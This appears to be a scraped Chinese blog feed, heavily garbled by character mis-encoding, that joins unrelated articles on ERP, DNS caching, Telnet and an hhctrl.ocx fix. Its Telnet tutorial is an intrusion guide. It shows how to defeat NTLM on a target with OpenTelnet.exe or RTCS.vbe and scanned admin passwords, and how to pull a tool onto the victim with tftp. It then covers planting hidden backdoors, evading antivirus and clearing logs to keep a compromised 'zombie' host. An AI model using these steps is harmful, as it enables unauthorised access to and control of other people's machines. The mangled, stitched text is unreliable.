ERPQ企业资源管理计划）——Enterprise Resources PlannigQ是在先q的企业理思想的基上，应用信息技术实现对整个企业资源的一体化理。ERP是一U可以提供跨地区、跨部门、甚臌公司整合实时信息的企业管理信息系l。它在企业资源最优化配置的前提下Q整合企业内部主要或所有的l营zdQ包括胦务会计、管理会计、生产计划及理、物料管理、销售与分销{主要功能模块，以达到效率化l营的目标?br /> ERP?0q代后期从美国传入，为我国的企业体制攚w注入的新的活力，ERP已成为大型现代企业管理中不可或缺的有力管理工P是企业现代化和信息化E度的重要标志。ERP目是一个企业管理系l工E，而不是一般意义上的企业管理信息系l工E或者是企业信息化徏讑ַE，q是因ؓ整个理pȝ不但ZERP、系l工E和信息技术等CU学技术的思想、原理和ҎQ而且q从本质上充分地体现了企业应用ERP与开展企业管理创新、推q企业管理现代化和提高企业竞争力的必然关pR?br /> 1、销售：销售部门接客户采购计划Q根据客戯求，查看是否有库存，有——即l客户发货；无——即下生产Q务给生部门Q要求安排生产；待成品机器完工后Q即可给客户发货?br /> 2、生产：生部门接销售部dQ向生车间下达生dQ可依据库存Q向采购部门误有关雉件。完工后Q入库供销售部发货?br /> 3、采购：采购部门依据所接请购Q务和库存情况Q向材料供应商采购料品?br /> 4、库存：仓库Ҏ雉件的安全库存量向采购部门误雉件。依据生产R间的生领料单给车间发料?br /> 5、胦务：q行成本计算?/font>
伴随着WTO 的加入以及企业信息化的飞速进展，ERP 在中国也q入q泛普及阶段Q越来越多的人知道了什么是erp.erp应用更加务实、业务范围更加广泛、涉及的业务深度逐渐加强的ERP 正ؓq大的中国企业所期盼?br />
然而，目前国内的ERP 应用q不如人意Q就整体而言Q我国在应用ERP 上呈现出不^衡的发展势。各个企业差距较大，能够真正成功地全面实施ERP 理pȝ的企业ƈ不是很多。其原因在于Q一、ERP业界对广大中国企业缺乏深入的理解Q同时ERP成熟标准在我国缺乏深入实践，从而导致企业ERP 选型错ؕQ实施风险失控。二、一些Y件厂商肆无忌惮地Ҏ自己的品，使得ERP 市场鱼目LQ更直接D了客户对ERP 产品的怀疑?br />
一、落后的企业理水^严重制UERP 的运?br />
ERP 的发展是理思想和计机技术的l合体，从ERP 的生历E来看，ERP 的成熟完全符合理论、实c再理论到实늚q程。在20 多年的发展中Q经q不断的实践理理论的应用和创新Q其pȝ内涵和基本模型已l十分清晰。而ERP的成熟不能只看这个Y件本w的理思想是多么的行Q更主要的是看ERP本n蕴涵的管理理论是不是在实际中已经得到了运用，在发辑֛家的成功q用证明了其思想是成功的?br />
在我国，企业理水^长期落后于信息化要求。很多企业存在基数据不全Q信息失真的问题。同Ӟ大量企业未建立C企业制度Q企业内部对利用信息技术进行管理创新的动力不Q采用信息技术处于被动状态，普遍存在着信息理机构不健全，信息理制度不完善，执行力度不到位，现场理不严根{不规范Q信息设备利用率低等问题。这些问题的存在Q将严重制约ERP 在我国的q用?br />
二、企业纵向管理的不成熟将严重影响ERP 的运?br />
ERP的运用ؓ企业提高理水^提供了更为广阔的I间。ERP应用h范围扩展性，q渐形成针对行业的解x案，来满不同行业业务的Ҏ需求。而这一切成为现实的前提是，理视角和管理高度的全面集成。尤其是QERP 中胦务系l应能实时收到来自所有业务过E、分析系l和交叉功能子系l的触发信息Qƈ执行监控功能Q敏捷做出快速决{。只有这P才能使ERP 能更加综合的Z业运行进行支持和诊断。本文章什么是erp严禁抄袭.而我国企业目前在销售、采购、生产、胦务等各环节严重脱节，是很常见的现象，其是成长较快的企业Q脱节更Z重。如采购和生产之间的不协调经帔R成停工待料Q有时胦务和销售环节的衔接不良Q造成应收账款不能收清{现象。造成q种情况的原因在于，企业~Z整体考虑Q尤其体现在不能集成“三流”Q资金流、物、信息流Q，q而造成计划与控制不能统一Q各部门业务不能协调{。这是ERP 在我国发展面临的W二个考验?br />
三、ERP 软g生存周期的缺陷将严重制约ERP 的运?br />
ERP 是综合应用了C/S 或者B/S 体系、关pL据库l构、面向对象技术、图形用L面、第四代语言Q?GLQ、网l通讯{信息业成果，以现代管理思想为灵的软g产品。ERP 成熟的品应该具备实现数据完全按逻辑集成、提供业务流E模型、具有开发接口、可实现
客户化配|等功能。技术和应用的完结合应该是ERP成熟的一个表玎ͼ但是Q我国ERP 软g目前存在的以下三个方面的问题严重媄响ERP 软g的生存周期，q而制UERP 的运用?/font>
]]>
2、Q何域名都臛_有一个DNSQ一般是2个。但Z么要2个以上呢Q因为DNS可以轮回处理Q第一个解析失败可以找W二个。这样只要有一个DNS解析正常Q就不会影响域名的正怋用?
3、如何确定域名的DNS
很简单，?a target="_blank">www.internic.net/whois.html输入你要查询的域名就可以看到了。这个是国际域名理中心。唯一的权威。只要这里能查到某个域名Q就表示域名是生效的。它说你什么时候到期，是什么时候到期?
4、有效的DNS表示当前正在起作用的DNS服务器是谁，比如查询l果是NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)pC当前域名是由NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)负责解析。其他DNS的设|，都是无效的?
5、DNS是可以修改的。修改以后需?4-72时以后Q全世界才能hq来。internic的信息一般在24时以后可以看到。另外，修改的过E，q不表示域名会停止解析，只要你在2辚w做好了解析。如果生效了是新的DNS在v作用。如果没生效。就是旧的DNS在v作用。要么生效，要么不生效。不存在2个都不v作用的时间。所6、DNS是有~存的?
1)讉K者的电脑Q?)你的ISP接入商?
单D?比如你访?a target="_blank">www.askbaidu.comQ你的电脑首先查询本Z有没有缓?a target="_blank">www.askbaidu.com的记录。如果有q接调用不再去查寻。就是说如果你前面刚讉Kq?a target="_blank">www.askbaidu.comQ这个时候就电信的DNS和NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)都不能解析。也是能够正常解析出域名的?
清除本机DNS~存Ҏ很简单。关闭IE然后清除历史记录Q或者重启电脑。然后还有一个就是isp接入商的DNS的缓存。isp是当地|络接入商。比如我们这里的徏电信;州|通、南q铁通等{。每个地斚w是不一L。isp的DNS和NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)q样的DNS是不同的。NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)只负责具体的解析Q不负责~存。isp的DNS只负责查询和~存Q不负责解析?
单描qC刚才讉Kwww.askbaidu.com的情c如果本Z不存?a target="_blank">www.askbaidu.com的记录。你的电脑就会去查询当地ISP的DNS。isp的DNS只有~存。就是说他会查有没有www.askbaidu.com的缓存。如果有Q他q接把www.askbaidu.com的记录发送给用户。用户也p讉K了。如果ISP的缓存里面也没有www.askbaidu.com的记录，那么他进一步去查询askbaidu.com的DNS是什?然后再到对应的DNS上直接去取得数据Qƈq回l用戗当W一个用戯问了www.askbaidu.com以后Qisp的dns上也开始缓存了www.askbaidu.com的记录。以后他׃必再去NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)L了。除非有新的域名Q他才会L。比如访问bbs.askbaidu.com的时候，他就要重新去查了?
7、isp的DNS~存是有旉限制的。一般是1个小时。前?ơ间?个小时的话，他就d名的DNS上重新取得数据。这里说的是最前面一ơ和当前的比较。也是说如果时间差距较大，重新去域名的DNS服务器上找。所以刷新就变的很有必要Q否则缓存了一ơ以后。域名记录改了以后。ISP永q不L新的记录了。知道了q个原理以后Q大家就会明白，Z么原来没有的记录注册q生效会很快。修改的话生效会很慢。就是因为缓存的原因。但如果没有~存Q访问的效率会很低，因ؓM一ơ输?a target="_blank">www.askbaidu.com都得跑到NS.XINNETDNS.COM、NS.XINNET.CN(新网信v)L询记录?
备注Q很多域名商的域名解析系l也不是实时h的。一般会讄下时_比如10分钟.是_你设|了一个新的A记录以后Q域名服务器会在10分钟内ؓ你添加。目的就是ؓ了节U服务器资源。怕客LDNS不断的刷新记录。刷新记录肯定需要消耗一定的资源。而且hq程中是不能解析的。另外刷新过E大?U。就是说q个5U内域名商的的DNS是不能用的?/ca>
]]>
一 摘要
Telnet的应用不仅方便了我们q行q程dQ也lhacker们提供了又一U入侉|D和后门Q但无论如何Q在你尽情n受Telnet所带给你的便捷的同Ӟ你是否真正的了解Telnet呢？
?q程d
Telnet服务虽然也属于客h/服务器模型的服务Q但它更大的意义在于实现了基于Telnet协议的远E登录（q程交互式计）Q那么就让我们来认识一下远E登录?br />
1 q程登陆的基本概?br />
先来看看什么叫dQ分时系l允许多个用户同时用一台计机Qؓ了保证系l的安全和记账方便，pȝ要求每个用户有单独的帐号作ؓd标识Q系l还为每个用h定了一个口令。用户在使用该系l之前要输入标识和口令，q个q程被称?d'?br />
q程登陆是指用户使用Telnet命oQ自己的计机暂时成ؓq程L的一个仿真终端的q程。仿真终端等效于一个非的机器，它只负责把用戯入的每个字符传递给LQ再主出的每个信息回显在屏q上?br />
2 q程登陆的生及发展
我们可以先构想一个提供远E文字编辑的服务Q这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此h的客h。客h徏立一个从本地机到服务器的TCPq接Q当然这需要服务器的应{，然后向服务器发送键入的信息Q文件编辑信息）Qƈd从服务器q回的输出。以上便是一个标准而普通的客户?服务器模型的服务?br />
g有了客户?服务器模型的服务Q一切远E问题都可以解决了。然而实际ƈ非你惌的那L单，如果我们仅需要远E编辑文Ӟ那么刚才所构想的服务完全可以胜任，但假如我们的要求q不是这么简单，我们q想实现q程用户理Q远E数据录入，q程pȝl护Q想实现一切可以在q程L上实现的操作Q那么我们将需要大量专用的服务器程序ƈ为每一个可计算服务都用一个服务器q程Q随之而来的问题是Q远E机器会很快Ҏ务器q程应接不暇QƈҎ在进E的h里（我们在这里排除最专业化的q程机器Q?br />
那么有没有办法解军_Q当然有Q我们可以用q程d来解册一切。我们允许用户在q地机器上徏立一个登录会话，然后通过执行命o来实现更一般的服务Q就像在本地操作一栗这P我们便可以访问远地系l上所有可用的命oQƈ且系l设计员不需提供多个专用地服务器E序?br />
问题发展到这里好像前途一片光明了Q用q程dd该解决问题了吧，但要实现q程登陆q不单。不考虑|络设计的计机pȝ期望用户只从直接相连的键盘和昄器上dQ在q种机器上增加远E登陆功能需要修Ҏ器的操作pȝQ这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远E登陆服务器软gQ虽然这样也是比较困隄。ؓ什么说q样做也比较困难呢？
举个例子来说Q一般，操作pȝ会ؓ一些特D按键分配特D的含义Q比如本地系l将'Ctrl+C'解释为：'l止当前q行的命令进E?。但假设我们已经q行了远E登陆服务器软gQ?Ctrl+C'也有可能无法被传送到q地机器Q如果客h真的?Ctrl+C'传到了远地机器，那么'Ctrl+C'q个命o有可能不能终止本地的q程Q也是说在q里很可能会产生混ؕ。而且q仅仅是遇到的难题之一?br />
但尽有技术上的困难，pȝ~程人员q是设法构造了能够应用于大多数操作pȝ的远E登陆服务器软gQƈ构造了充当客户机的应用软g。通常Q客h软g取消了除一个键以外的所有键的本地解释，q将q些本地解释相应的{换成q地解释Q这׃得客h软g与远地机器的交互Q就如同坐在q程L面前一P从而避免了上述所提到的乱。而那个唯一例外的键Q可以用户回到本地环境?br />
远E登陆服务器设计为应用软gQ还有另一个要求，那就是需要操作系l提供对伪终端（pseudo terminalQ的支持。我们用伪终端描q操作系l的入口点，它允许像Telnet服务器一LE序向操作系l传送字W，q且使得字符像是来自本地键盘一栗只有用这L操作pȝQ才能将q程登陆服务器设计ؓ应用UYӞ比如Telnet服务器YӞQ否则，本地操作pȝ和远地系l传送将不能识别从对方传送过来的信息Q因为它们仅能识别从本地键盘所键入的信息）Q远E登陆将宣告p|?br />
远E登陆服务器设计为应用软g虽然有其显著的优点：比将代码嵌入操作pȝ更易修改和控制服务器。但其也有效率不高的~点Q后面的内容会l予解释Q，好在用户键入信息的速率不高Q这U设计还是可以接受的?br />
3 q程d的工作过E?br />
使用Telnet协议q行q程登陆旉要满以下条Ӟ在本的计机上必装有包含Telnet协议的客L序；必须知道q程L的Ip地址或域名；必须知道d标识与口令?br />
Telnetq程d服务分ؓ以下4个过E：
1Q本Cq程L建立q接。该q程实际上是建立一个TCPq接Q用户必ȝ道远E主机的Ip地址或域名；
2Q将本地l端上输入的用户名和口o及以后输入的M命o或字W以NVTQNet Virtual TerminalQ格式传送到q程L。该q程实际上是从本C机向q程L发送一个IP数据报；
3Q将q程L输出的NVT格式的数据{化ؓ本地所接受的格式送回本地l端Q包括输入命令回昑֒命o执行l果Q?br />
4Q最后，本地l端对远E主行撤消连接。该q程是撤销一个TCPq接?br />
上面的内容只是讨Zq程登陆最基本的东西，其中的复杂和~程人员的艰辛是我们难以惌的，不知道你在舒服的使用Telnet的同Ӟ是否惛_了这些！
?Telnet协议
我们知道Telnet服务器Y件是我们最常用的远E登录服务器软gQ是一U典型的客户?服务器模型的服务Q它应用Telnet协议来工作。那么，什么是Telnet协议Q它都具备哪些特点呢Q?br />
1 基本内容
Telnet协议是TCP/IP协议族中的一员，是Internetq程登陆服务的标准协议。应用Telnet协议能够把本地用h使用的计机变成q程Lpȝ的一个终端。它提供了三U基本服务：
1QTelnet定义一个网l虚拟终端ؓq的pȝ提供一个标准接口。客hE序不必详细了解q的pȝQ他们只需构造用标准接口的E序Q?br />
2QTelnet包括一个允许客h和服务器协商选项的机Ӟ而且它还提供一l标准选项Q?br />
3QTelnet对称处理q接的两端，即Telnet不强q客h从键盘输入，也不客户机在屏幕上显C出?br />
2 适应异构
Z使多个操作系l间的Telnet交互操作成ؓ可能Q就必须详细了解异构计算机和操作pȝ。比如，一些操作系l需要每行文本用ASCII回R控制W（CRQ结束，另一些系l则需要用ASCII换行W（LFQ，q有一些系l需要用两个字符的序列回?换行QCR-LFQ；再比如，大多数操作系lؓ用户提供了一个中断程序运行的快捷键，但这个快捷键在各个系l中有可能不同（一些系l用CTRL+CQ而另一些系l用ESCAPEQ。如果不考虑pȝ间的异构性，那么在本地发出的字符或命令，传送到q地q被q地pȝ解释后很可能会不准确或者出现错误。因此，Telnet协议必须解决q个问题?br />
Z适应异构环境QTelnet协议定义了数据和命o在Internet上的传输方式Q此定义被称作网l虚拟终端NVTQNet Virtual TerminalQ。它的应用过E如下：
对于发送的数据Q客h软g把来自用L端的按键和命令序列{换ؓNVT格式Qƈ发送到服务器，服务器Y件将收到的数据和命oQ从NVT格式转换地系l需要的格式Q?br /> 对于q回的数据：q地服务器将数据从远地机器的格式转换为NVT格式Q而本地客h将接收到的NVT格式数据再{换ؓ本地的格式?br /> 对于NVT格式的详l定义，有兴的朋友可以L扄兌料?br />
3 传送远地命?br />
我们知道l大多数操作pȝ都提供各U快捷键来实现相应的控制命oQ当用户在本地终端键入这些快捷键的时候，本地pȝ执行相应的控制命oQ而不把这些快捷键作ؓ输入。那么对于Telnet来说Q它是用什么来实现控制命o的远C送呢Q?br />
Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包?5个可打印字符?3个控制码。当用户从本地键入普通字W时QNVT按照其原始含义传送；当用户键入快捷键Q组合键Q时QNVT把它{化ؓҎ的ASCII字符在网l上传送，q在其到达远地机器后转化为相应的控制命o。将正常ASCII字符集与控制命o区分主要有两个原因：
1Q这U区分意味着Telneth更大的灵zL：它可在客h与服务器间传送所有可能的ASCII字符以及所有控制功能；
2Q这U区分得客h可以无二义性的指定信oQ而不会生控制功能与普通字W的混ؕ?br />
4 数据向
上面我们提到q将Telnet设计为应用软g有一个缺点，那就是：效率不高。这是ؓ什么呢Q下面给出Telnet中的数据向Q?
数据信息被用户从本地键盘键入q过操作pȝ传到客户机程序，客户机程序将其处理后q回操作pȝQƈ由操作系l经q网l传送到q地机器Q远地操作系l将所接收数据传给服务器程序，q经服务器程序再ơ处理后q回到操作系l上的伪l端入口点，最后，q地操作pȝ数据传送到用户正在q行的应用程序，q便是一ơ完整的输入q程Q输出将按照同一通\从服务器传送到客户机?br />
因ؓ每一ơ的输入和输出，计算机将切换q程环境好几ơ，q个开销是很昂贵的。还好用L键入速率q不高Q这个缺Ҏ们仍然能够接受?br />
5 强制命o
我们应该考虑到这样一U情况：假设本地用户q行了远地机器的一个无休止循环的错误命令或E序Q且此命令或E序已经停止d输入Q那么操作系l的~冲区可能因此而被占满Q如果这Pq地服务器也无法再将数据写入伪终端，q且最l导致停止从TCPq接d数据QTCPq接的缓冲区最l也会被占满Q从而导致阻止数据流入此连接。如果以上事情真的发生了Q那么本地用户将失去对远地机器的控制?br />
Z解决此问题，Telnet协议必须使用外带信o以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令，那么Telnet只要再附加一个被UCؓ数据标记(date mark)的保留八位组Qƈ通过让TCP发送已讄紧急数据比特的报文D通知服务器便可以了，携带紧急数据的报文D将l过量控制直接到达服务器。作为对紧急信令的相应Q服务器读取ƈ抛弃所有数据，直到扑ֈ了一个数据标记。服务器在遇C数据标记后将q回正常的处理过E?
6 选项协商
׃Telnet两端的机器和操作pȝ的异构性，使得Telnet不可能也不应该严D定每一个telnetq接的详l配|，否则大大媄响Telnet的适应异构性。因此，Telnet采用选项协商机制来解册一问题?br />
Telnet选项的范围很q：一些选项扩充了大方向的功能，而一些选项制涉及一些微细节。例如：有一个选项可以控制Telnet是在半双工还是全双工模式下工作（大方向）Q还有一个选项允许q地机器上的服务器决定用L端类型（细节）?br />
Telnet选项的协商方式也很有意思，它对于每个选项的处理都是对U的Q即M一端都可以发出协商甌QQ何一端都可以接受或拒l这个申诗另外，如果一端试囑֍商另一端不了解的选项Q接受请求的一端可单的拒绝协商。因此，有可能将更新Q更复杂的Telnet客户机服务器版本与较老的Q不太复杂的版本q行交互操作。如果客h和服务器都理解新的选项Q可能会对交互有所改善。否则，它们一赯{到效率较低但可工作的方式下运行。所有的q些设计Q都是ؓ了增强适应异构性，可见Telnet的适应异构性对其的应用和发展是多么重要?br />
上面讨论了一些原理方面的东西Q虽然我们在Telnet的用过E中很难接触到这一层面Q但我认Z解这些是有意义的Q它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务?br />
Q本pd教程不定期更斎ͼƲ获得最新版本，L陆官方网站：菜菜鸟社?http://ccbirds.yeah.netQ?br />
?Win2000的Telnet服务
其实从应用层面上QWin2000的Telnet服务q没有什么可说的Q绝大部分内容你都可以从HELP文g中得刎ͼ我在此只是把它稍微整理一下而已?br />
1 基本配置
Win2000为我们提供了Telnet客户机和服务器程序：Telnet.exe是客hE序QClientQ，tlntsvr.exe是服务器E序QserverQ，同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe?br />
Windows 2000 默认安装?Telnet 服务Q但是ƈ没有默认启动。下面给出HELP文g?Telnet 服务的一部分默认讄Q?br />
AllowTrustedDomainQ是否允许域用户讉K。默认值是1Q允怿d用户讉K。可以改?: 不允许域用户讉KQ只允许本地用户Q?br />
DefaultDomainQ可以对与该计算机具有信dpȝM域设|。默认值是"."?br />
DefaultShellQ显C?shell 安装的\径位|。默认值是Q?%systemroot%\System32\Cmd.exe /q /k
MaxFailedLoginsQ在q接l止之前昄试dp|的最大次数。默认是3?br />
LoginScriptQ显C?Telnet 服务器登录脚本的路径位置。默认的位置是“%systemroot%\System32\login.cmd”Q你可以更改脚本内容Q这L录进Telnet的欢q屏q就不一样了?br />
NTLMQNTLMw䆾验证选项。默认是2。可以有下面q些|
0: 不?NTLM w䆾验证?br /> 1: 先尝?NTLM w䆾验证Q如果失败，再用用户名和密码?br /> 2: 只?NTLM w䆾验证?br />
TelnetPortQ显C?telnet 服务器侦?telnet h的端口。默认是Q?3。你也可以更改ؓ其他端口?br />
以上各项讄你可以用tlntadmn.exeQTelnet服务器管理程序）来进行非常方便的配置Q配|后需要重新启动Telnet服务。如?
2 NTLM
提到了telnet׃能不提NTLMQ我惌也是让入侵者最为头痛的一件事Q哪怕你获得了管理员帐号和密码，想简单通过NTLM也ƈ非易事，况且win2000中的telnet默认仅以NTLM方式验证w䆾Q这p我们不得不关注NTLMq个东东Q那么什么是NTLM呢？
早期的SMB协议在网l上明文传输口oQ后来出C"LAN Manager Challenge/Response"验证机制Q简ULMQ它十分单以臛_Ҏ被破解，微Y随后提出了WindowsNT挑战/响应验证机制Q即NTLM。现在已l有了更新的NTLMv2以及Kerberos验证体系。NTLM工作程是这LQ?br />
1、客L首先在本地加密当前用L密码成ؓ密码散列
2、客L向服务器发送自q帐号Q这个帐h没有l过加密的，明文直接传输
3、服务器产生一?6位的随机数字发送给客户端，作ؓ一?challengeQ挑战）
4、客L再用加密后的密码散列来加密这?challenge Q然后把q个q回l服务器。作?responseQ响应）
5、服务器把用户名、给客户端的challenge 、客Lq回?response q三个东西，发送域控制?br /> 6、域控制器用q个用户名在 SAM密码理库中扑ֈq个用户的密码散列，然后使用q个密码散列来加?challenge?br /> 7、域控制器比较两ơ加密的 challenge Q如果一P那么认证成功?br />
从上面的q程我们可以看出QNTLM是以当前用户的n份向Telnet服务器发送登录请求的Q而不是用你扫到的Ҏ理员的帐户和密码登录，昄Q你的登录将会失败。D个例子来_你家的机器名为AQ本地机器）Q你入R的机器名为BQ远地机器）Q你在A上的帐户是xinxinQ密码是1234Q你扫到B的管理员帐号是AdministratorQ密码是5678Q当你想Telnet到BӞNTLM自动以当前用户的帐号和密码作ؓd的凭据来q行上面?Ҏ作，即用xinxin?234Q而ƈ非用你扫到的Administrator?678Q且q些都是自动完成的，Ҏ不给你插手的ZQ因此你的登录操作将p|?br />
׃Telnet服务器对NTLM的用有3个选项Q所以当你Telnetq地机器Ӟ会显CZ面情况中的一U：
1)w䆾验证选项=0?br /> =====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\?时不使用NTMLw䆾验证Q直接输入用户名和密码，比如你可以输入扫到的Administrator?678
2)w䆾验证选项=1?br /> =====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先尝?NTLM w䆾验证Q如果失败，再用用户名和密码，其实q种方式对于我们来说Q与上一U方式没什么区?br />
3)w䆾验证选项=2?
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的q接?br /> C:\>
\\仔细看看上面的显C，Ҏ没有l你输入用户名和密码的机会，直接断开q接Q扫C密码也是白扫
所以对于入侵者来_NTLM是横在我们面前的一座大山，必须要除掉它Q一般我们有如下几种ҎQ?br />
1通过修改q程注册表更改telnet服务器配|，验证方式从2改ؓ1?Q?br /> 2使用NTLM.exeQ上传后直接q行Q可telnet服务器验证方式从2改ؓ1Q?br /> 3在本地徏立扫描到的用P以此用户w䆾开启telnet客户机ƈq行q程dQ?br /> 4使用软gQ比如opentelnet.exeQ需要管理员权限且开启IPC道Q?br /> 5使用脚本Q如RTCSQ（需要管理员权限但不依赖IPC道Q?br />
基本上是以上?U，其中后两U是我们比较常用的开telnet的手法，而且使用Ҏ十分单，命o如下Q?br />
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 理员用户名 密码 验证方式Q填0?Q?telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <理员用户名> <密码> <验证方式> <tlnet端口>
?在telnet中该做什?br />
本来写到上面想l束了，不过许多朋友都说telnet上去后不知道该做什么了Q既然这P那我抛砖引玉吧Q这ơ不讲具体做法，只是说说思\Q什么？Z么不讲具体做法？幅不够嘛，以后我会一一解释的?br />
1 查看pȝ信息
呵呵Q其实就是随处看看，看看他的pȝ配置和版本（用type c:\boot.ini来知道pro版或server版）Q看看都装了什么服务或软gQ从目录名就可以知道了）Q看看有什么重要或有趣的文件啦Q唉Q要是国外的机器Q看也看不懂Q，看看他的用户情况QM是可能多的了解系l，Z会装后门摸底?br />
2 使用tftp传送文?br />
惛_大家都遇到过在telnet中传输文件的问题Q因为我们习惯了在ipc道中的文g传输Q所以有些朋友喜Ƣ用net share ipc$ 来打开道Q进而利用copy来传输文件。不q这样反而麻烦，既然我们已经得到了shellQ我们可以用TFPT命o来完成这一切，什么是TFTP呢？
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一U基于UDPq接的文件传输，一般是使用Windows自带的tftp.exe和一个TFTP服务器端软g构成一个完整的传输l构。它是这样用的Q?首先q行本地的TFTP ServerQ比如tftpd32.exeQY件ƈ保证始终开启直至传输全部完成， 然后在telnet中（当然你也可以在其他shell中）q行下面的命令：
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ipZ自己机器的ipQ且上传文g要与TFTP服务器端在同一目录下，q样你就可以把xinxin.exe上传到c盘abc目录下了Q其实是从tftp服务器下载来的）
需要指出的是，如果使用代理IPQ你不能实C外部|络的文件传送。因Z的代理网兛_q行数据装的时候会自qIP地址加入C的数据报中，代替你的内部|络地址Q所以在外部|络q行MACd时是找不Cq台TFTP服务器的?
3 安置后门
安置后门攑֜W二步好像早了点Q如果你入Rq有其他目的Q比如以破坏ZQ或者是来修改主늚Q那么这些事情当然可以在安置后门之前做；如果你只是想得到一只肉鸡，那就没什么可说的了，安后门吧?br />
后门的种cȝ多，也给我们提供了很大的选择余地Q能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有Q木马，asp木马Q远E控制YӞ克隆帐户Q徏立ƈ隐藏帐户QtelnetQtelnet扩展的shellQ终端服务等。安|一个好的后门通常要注意以下几点：
1 不会被防火墙查杀及阻通信Q被加入病毒库的后门最好加壳以逃过防火墙，量用低端口通信Q以免被防火墙屏蔽?br />
2 最大限度增加隐蔽性：如果你选择q程控制软gQ要注意被控端的安装提示和小图标Q以及是否同步画面；如果你在帐户上做文章Q要量保持在cmd和用L理中都不出破l；如果你选择放木马或telnet扩展Q要注意文g和进E的隐藏Q如果新开了终端服务（入R前ƈ没有开Q，一定要该掉3389q个昄的端口，且越低越好?br />
3 不要当管理员不存在：q是一个大忌，许多朋友在只有默认帐L机器上徏立类?hacking'的管理员帐户Q真是无知者无畏呀。所以安|后门的时候，x理员疏忽的地方会在哪里?br />
4 打补?br />
如果想独霸肉鸡，p会打补丁Q要知道对肉鸡的竞争是很Ȁ烈的。怎么打补丁呢Q这个也要问Q想想你是怎么q来的吧。算了，提示一下，除了修补大的漏洞以外Q上传官方补丁ƈq行Q，也要注意它的׃nQipc$׃nQ最好都关闭Q，可疑端口Q容易被利用的服务等。不q打补丁也要注意隐蔽性的Q不要让理员发现大的改动?br />
5 清除日志
可以手动或利用YӞ如果不太会就L相关教材吧，在这里我不详l介l了?br />
===================================================================================
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
===================================================================================
Telnet用于Internet的远E登?它可以用户坐在已上|的电脑键盘前通过|络q入的另一台电脑已上网的电?使它们互相连?q种q通可以发生在同一戉K里面的电脑或是在世界各范围内已上|的电脑.习惯上来?被连通计机,q且为网l上所有用h供服务的计算机称之ؓ服务?Servers),而自己在使用的机器称之ؓ客户?Customer).一旦连通后,客户机可以n有服务器所提供的一切服?用户可以q行通常的交互过E?注册q入,执行命o),也可以进入很多的Ҏ的服务器如寻扑֛书烦?|上不同的主机提供的各种服务都可以被使用.
Telnet
(telet) (n.) A terminal emulation program for TCP/IP networks such as the Internet. The Telnet program runs on your computer and connects your PC to a server on the network. You can then enter commands through the Telnet program and they will be executed as if you were entering them directly on the server console. This enables you to control the server and communicate with other servers on the network. To start a Telnet session, you must log in to a server by entering a valid username and password. Telnet is a common way to remotely control Web servers.
Telnet命o
Telnet用于Internet的远E登?它可以用户坐在已上|的电脑键盘前通过|络q入的另一台电脑已上网的电?使它们互相连?q种q通可以发生在同一戉K里面的电脑或是在世界各范围内已上|的电脑.习惯上来?被连通计机,q且为网l上所有用h供服务的计算机称之ؓ服务?Servers),而自己在使用的机器称之ؓ客户?Customer).一旦连通后,客户机可以n有服务器所提供的一切服?用户可以q行通常的交互过E?注册q入,执行命o),也可以进入很多的Ҏ的服务器如寻扑֛书烦?|上不同的主机提供的各种服务都可以被使用.
使用Telnet的最单的Ҏ是在命o行键?
%telnet remote-computer-name(or IP)
q里使用的是UNIXpȝ的C shell,因ؓ命o的选择是百分号"%".如果使用的是其他的计机pȝ(比如:Dos,VAX/VMS,Macintosh)命o,只在l节上有些差?而在本质上是大同异?下面举一个基本的Telnet使用例子:
telnet porky.math.ukans.edu
Trying 129.237.128.11...
Connected to porky.math.ukans.edu.
Escape character is '^]'.
SunOS UNIX(porky)
login:wl
password:xxxxxxx
Last Login: Tue Mar 28 05:35 from ns.bta.net.cn
SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999
No match.
if:Expression syntax.
porky/serv/wl%ls
hello
porky/serv/wl%
porky/serv/wl%cd/
porky/%ls
Mail/ dev/ home/ mnt/ sbin/
usr/
News/ domain/ home1/ net/ serv/
var/
Record/ etc/ kadb* pcfs/ sys@
vmunix*
bin@ export/ lib@ print tmp/
boot gofer/ lost+found/ record tmp_mnt/
porky/%
上述的例子是用TelnetL一个叫做porky.math.ukans.edu的远E计机.在找到这台计机以后,已上|的拥护的计机成为它的一个终?q时屏幕出现的对话与用户在host上连接的l端一栗用户必L册进?login)和注销推出(logout).在login?可给ZQ何适合q程pȝ的命?因ؓ"porky.math.ukans.edu"面向的是UNIXpȝ,所有标准的UNIX命o(想ls和pwd)都可以?当用户从q程pȝ退出时,也就从Telnet退?便可以运行自q本地pȝ.实际?Telnet是一个可以注册进入远E计机pȝ的工?
]]>
?1.在微软网站上下蝲hhupd.exe,安装hh.exe后ƈq行?
2.实际?下蝲hhupd.exe?q行后就可以了。这个东西大ؓ461kb 3.在c:\windows\system32里找?#8220;Hhctrl.ocx”文g,然后q行:“regsvr32“c:\windows\system32\hhctrl.ocx...
|上的解x法不可行Q下载不了hhupd.exe.我直接执行regsvr32 c:\windows\system32\hhctrl.ocxok了?br />
解决Ҏ2是：
